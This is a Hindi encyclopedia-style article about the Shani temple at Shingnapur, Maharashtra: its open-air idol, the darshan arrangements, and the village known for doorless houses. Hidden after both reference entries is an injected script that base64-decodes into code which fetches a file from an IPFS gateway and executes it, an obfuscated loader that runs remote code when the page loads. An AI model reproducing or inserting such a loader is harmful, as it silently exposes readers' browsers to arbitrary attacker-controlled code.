शनि मन्दिर, शिंगणापुर

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शिंगणापुर का शनि मन्दिर भगवान शनि देव से सम्बन्धित विख्यात धार्मिक स्थल है। हिन्दुओं का यह प्रसिद्ध धार्मिक स्थान महाराष्ट्र राज्य के अहमदनगर ज़िले की नेवासा तालुका के गाँव शनि शिंगणापुर सोनाई में स्थित है। विश्व प्रसिद्ध इस शनि मन्दिर की विशेषता यह है कि यहाँ स्थित शनि देव की प्रतिमा बगैर किसी छत्र या गुंबद के खुले आसमान के नीचे एक संगमरमर के चबूतरे पर विराजित है। यह शनि मन्दिर शिरडी के साईं बाबा मन्दिर से करीब 65 किलोमीटर की दूरी पर स्थित है। शनि शिंगणापुर गाँव की ख़ासियत यहाँ के कई घरों में दरवाजों का ना होना है। यहाँ के घरों में कहीं भी कुंडी तथा कड़ी लगाकर ताला नहीं लगाया जाता। मान्यता है कि ऐसा शनि देव की आज्ञा से किया जाता है। गाँव में कहीं पर भी चोरी आदि की घटना नहीं होती।

मन्दिर व प्रतिमा

शिंगणापुर के इस चमत्कारी शनि मंदिर में स्थित शनि देव की प्रतिमा लगभग पाँच फीट नौ इंच ऊँची व लगभग एक फीट छह इंच चौड़ी है। देश-विदेश से श्रद्धालु यहाँ आकर शनि देव की इस दुर्लभ प्रतिमा का दर्शन लाभ लेते हैं। यहाँ के मंदिर में स्त्रियों का शनि प्रतिमा के पास जाना वर्जित है। महिलाएँ दूर से ही शनि देव के दर्शन करती हैं। सुबह हो या शाम, सर्दी हो या गर्मी, यहाँ स्थित शनि प्रतिमा के समीप जाने के लिए पुरुषों का स्नान कर पीताम्बर धोती धारण करना अत्यावश्क है। ऐसा किए बगैर पुरुष शनि प्रतिमा का स्पर्श नहीं पर सकते हैं। इस हेतु यहाँ पर स्नान और वस्त्रादि की बेहतर व्यवस्थाएँ हैं। खुले मैदान में एक टंकी में कई सारे नल लगे हुए हैं, जिनके जल से स्नान करके पुरुष शनि देव के दर्शनों का लाभ ले सकते हैं। पूजनादि की सामग्री के लिए भी यहाँ आस-पास बहुत सारी दुकानें हैं, जहाँ से पूजन सामग्री लेकर शनि देव को अर्पित कर सकते हैं।[1]

दर्शन की व्यवस्था

यदि कोई व्यक्ति पहली बार शनि शिंगणापुर जा रहा है तो यहाँ भक्तों की श्रद्धा व विश्वास का नजारा देखकर वह आश्चर्यचकित हो जायेगा। केवल बड़े-बुजुर्ग ही नहीं अपितु तीन-चार वर्ष के शिशु भी इस शीतल जल से स्नान कर शनि देव के दर्शन के लिए अपने पिता के साथ चल पड़ते हैं। शनि मंदिर में दर्शन करने वाला हर पुरुष श्रद्धालु यहाँ पीताम्बरधारी ही नजर आता है। शनि मंदिर का एक विशाल प्रांगण है, जहाँ दर्शन के लिए भक्तों की कतारें लगती हैं। मंदिर प्रशासन द्वारा ‍शनि देव के दर्शनों की बेहतर व्यवस्थाएँ की गई हैं, जिससे भक्तों को यहाँ दर्शन के लिए धक्का-मुक्की जैसी किसी भी स्थिति का सामना नहीं करना पड़ता है। जब यहाँ स्थित विशाल शनि प्रतिमा के दर्शन होते हैं तो यात्री स्वयं सूर्य पुत्र शनि देव की भक्ति में रम जाता है। प्रत्येक शनिवार, शनि जयंती व शनैश्चरी अमावस्या आदि अवसरों पर यहाँ भक्तों की भारी भीड़ उमड़ती है।

शिंगणापुर गाँव

लगभग तीन हज़ार की जनसंख्या वाले शनि शिंगणापुर गाँव में किसी भी घर में दरवाजा नहीं है। कहीं भी कुंडी तथा कड़ी लगाकर ताला नहीं लगाया जाता। इतना ही नहीं, घर में लोग आलमारी, सूटकेस आदि नहीं रखते। ऐसा शनि भगवान की आज्ञा से किया जाता है। लोग घर की मूल्यवान वस्तुएँ, गहने, कपड़े, रुपए-पैसे आदि रखने के लिए थैली तथा डिब्बे या ताक का प्रयोग करते हैं। केवल पशुओं से रक्षा हो, इसलिए बाँस का ढँकना दरवाजे पर लगाया जाता है। गाँव छोटा है, पर लोग समृद्ध हैं। इसलिए अनेक लोगों के घर आधुनिक तकनीक से ईंट-पत्थर तथा सीमेंट का इस्तेमाल करके बनाए गए हैं। फिर भी दरवाजों में किवाड़ नहीं हैं। यहाँ दुमंजिला मकान भी नहीं है। यहाँ पर कभी चोरी नहीं हुई। यहाँ आने वाले भक्त अपने वाहनों में कभी ताला नहीं लगाते। कितना भी बड़ा मेला क्यों न हो, कभी किसी वाहन की चोरी की घटना आज तक घटित नहीं हुई है।[2]


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टीका टिप्पणी और संदर्भ

  1. शनि देव का धाम- शनि शिंगणापुर (हिन्दी)। । अभिगमन तिथि: 16 सितम्बर, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. शनि मन्दिर, शिंग्लापुर (हिन्दी)। । अभिगमन तिथि: 16 सितम्बर, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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